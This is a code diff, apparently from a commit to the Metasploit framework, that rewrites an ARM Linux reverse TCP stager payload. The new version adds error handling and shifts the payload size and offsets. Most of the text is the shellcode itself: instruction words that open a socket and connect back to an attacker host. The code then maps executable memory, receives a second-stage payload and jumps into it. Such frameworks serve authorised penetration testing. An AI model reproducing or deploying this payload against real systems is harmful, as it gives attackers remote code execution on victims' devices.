17
17
###
18
18
module MetasploitModule
19
19
20
- CachedSize = 200
20
+ CachedSize = 260
21
21
22
22
include Msf::Payload::Stager
23
23
24
24
def initialize(info = {})
25
25
super(merge_info(info,
26
26
'Name' => 'Reverse TCP Stager',
27
27
'Description' => 'Connect back to the attacker',
28
- 'Author' => 'nemo <nemo[at]felinemenace.org>',
28
+ 'Author' => [ 'nemo <nemo[at]felinemenace.org>', 'tkmru'] ,
29
29
'License' => MSF_LICENSE,
30
30
'Platform' => 'linux',
31
31
'Arch' => ARCH_ARMLE,
@@ -34,56 +34,75 @@ def initialize(info = {})
34
34
{
35
35
'Offsets' =>
36
36
{
37
- 'LPORT' => [ 182 , 'n' ],
38
- 'LHOST' => [ 184 , 'ADDR' ],
37
+ 'LPORT' => [ 242 , 'n' ],
38
+ 'LHOST' => [ 244 , 'ADDR' ],
39
39
},
40
40
'Payload' =>
41
41
[
42
- 0xe59f70b4, # ldr r7, [pc, #180]
43
- 0xe3a00002, # mov r0, #2
44
- 0xe3a01001, # mov r1, #1
45
- 0xe3a02006, # mov r2, #6
46
- 0xef000000, # svc 0x00000000
47
- 0xe1a0c000, # mov ip, r0
48
- 0xe2877002, # add r7, r7, #2
49
- 0xe28f1090, # add r1, pc, #144
50
- 0xe3a02010, # mov r2, #16
51
- 0xef000000, # svc 0x00000000
52
- 0xe1a0000c, # mov r0, ip
53
- 0xe24dd004, # sub sp, sp, #4
54
- 0xe2877008, # add r7, r7, #8
55
- 0xe1a0100d, # mov r1, sp
56
- 0xe3a02004, # mov r2, #4
57
- 0xe3a03000, # mov r3, #0
58
- 0xef000000, # svc 0x00000000
59
- 0xe59d1000, # ldr r1, [sp]
60
- 0xe59f3070, # ldr r3, [pc, #112]
61
- 0xe0011003, # and r1, r1, r3
62
- 0xe3a02001, # mov r2, #1
63
- 0xe1a02602, # lsl r2, r2, #12
64
- 0xe0811002, # add r1, r1, r2
65
- 0xe3a070c0, # mov r7, #192
66
- 0xe3e00000, # mvn r0, #0
67
- 0xe3a02007, # mov r2, #7
68
- 0xe59f3054, # ldr r3, [pc, #84]
69
- 0xe1a04000, # mov r4, r0
70
- 0xe3a05000, # mov r5, #0
71
- 0xef000000, # svc 0x00000000
72
- 0xe2877063, # add r7, r7, #99
73
- 0xe1a01000, # mov r1, r0
74
- 0xe1a0000c, # mov r0, ip
75
- 0xe3a03000, # mov r3, #0
76
- 0xe59d2000, # ldr r2, [sp]
77
- 0xe2422ffa, # sub r2, r2, #1000
78
- 0xe58d2000, # str r2, [sp]
79
- 0xe3520000, # cmp r2, #0
80
- 0xda000002, # ble 80fc <last>
81
- 0xe3a02ffa, # mov r2, #1000
82
- 0xef000000, # svc 0x00000000
83
- 0xeafffff7, # b 80dc <loop>
84
- 0xe2822ffa, # add r2, r2, #1000
85
- 0xef000000, # svc 0x00000000
86
- 0xe1a0f001, # mov pc, r1
42
+ # Generated from external/source/shellcode/linux/armle/stager_sock_reverse.s
43
+ 0xe59f70f0, # ldr r7, [pc, #240] ; set 281(0x119) to r7
44
+ 0xe3a00002, # mov r0, #2
45
+ 0xe3a01001, # mov r1, #1
46
+ 0xe3a02006, # mov r2, #6
47
+ 0xef000000, # svc 0x00000000 ; invoke socket
48
+ 0xe3500000, # cmp r0, #0
49
+ 0xba000031, # blt 817c <failed>
50
+ 0xe1a0c000, # mov ip, r0
51
+ 0xe2877002, # add r7, r7, #2 ; set 283(0x11b) to r7
52
+ 0xe28f10c4, # add r1, pc, #196 ; set first .word addr to r1
53
+ 0xe3a02010, # mov r2, #16
54
+ 0xef000000, # svc 0x00000000 ; invoke connect
55
+ 0xe3500000, # cmp r0, #0
56
+ 0xba00002a, # blt 817c <failed>
57
+ 0xe1a0000c, # mov r0, ip
58
+ 0xe24dd004, # sub sp, sp, #4
59
+ 0xe2877008, # add r7, r7, #8 ; set 291(0x123) to r7
60
+ 0xe1a0100d, # mov r1, sp
61
+ 0xe3a02004, # mov r2, #4
62
+ 0xe3a03000, # mov r3, #0
63
+ 0xef000000, # svc 0x00000000 ; invoke recv
64
+ 0xe3500000, # cmp r0, #0
65
+ 0xba000021, # blt 817c <failed>
66
+ 0xe59d1000, # ldr r1, [sp]
67
+ 0xe59f3094, # ldr r3, [pc, #148] ; set 0xfffff000 to r3
68
+ 0xe0011003, # and r1, r1, r3
69
+ 0xe3a02001, # mov r2, #1
70
+ 0xe1a02602, # lsl r2, r2, #12
71
+ 0xe0811002, # add r1, r1, r2 ; set 0x1000 to r1
72
+ 0xe3a070c0, # mov r7, #192 ; set 192(0xC0) to r7
73
+ 0xe3e00000, # mvn r0, #0 ; set 0xffffffff to r0
74
+ 0xe3a02007, # mov r2, #7
75
+ 0xe59f3078, # ldr r3, [pc, #120] ; set r3 to 0x1022
76
+ 0xe1a04000, # mov r4, r0
77
+ 0xe3a05000, # mov r5, #0
78
+ 0xef000000, # svc 0x00000000 ; invoke mmap2
79
+ 0xe3700001, # cmn r0, #1
80
+ 0x0a000012, # beq <failed>
81
+ 0xe2877063, # add r7, r7, #99 ; set 291(0x123) to r7
82
+ 0xe1a01000, # mov r1, r0
83
+ 0xe1a0000c, # mov r0, ip
84
+ 0xe3a03000, # mov r3, #0
85
+ # loop:
86
+ 0xe59d2000, # ldr r2, [sp]
87
+ 0xe2422ffa, # sub r2, r2, #1000
88
+ 0xe58d2000, # str r2, [sp]
89
+ 0xe3520000, # cmp r2, #0
90
+ 0xda000004, # ble 80fc <last>
91
+ 0xe3a02ffa, # mov r2, #1000
92
+ 0xef000000, # svc 0x00000000 ; invoke recv
93
+ 0xe3500000, # cmp r0, #0
94
+ 0xba000005, # blt 817c <failed>
95
+ 0xeafffff5, # b 80dc <loop>
96
+ # last:
97
+ 0xe2822ffa, # add r2, r2, #1000
98
+ 0xef000000, # svc 0x00000000 ; invoke recv
99
+ 0xe3500000, # cmp r0, #0
100
+ 0xba000000, # blt 817c <failed>
101
+ 0xe1a0f001, # mov pc, r1
102
+ # failed:
103
+ 0xe3a07001, # mov r7, #1
104
+ 0xe3a00001, # mov r0, #1
105
+ 0xef000000, # svc 0x00000000
87
106
0x5c110002, # .word 0x5c110002
88
107
0x0100007f, # .word 0x0100007f
89
108
0x00000119, # .word 0x00000119
0 commit comments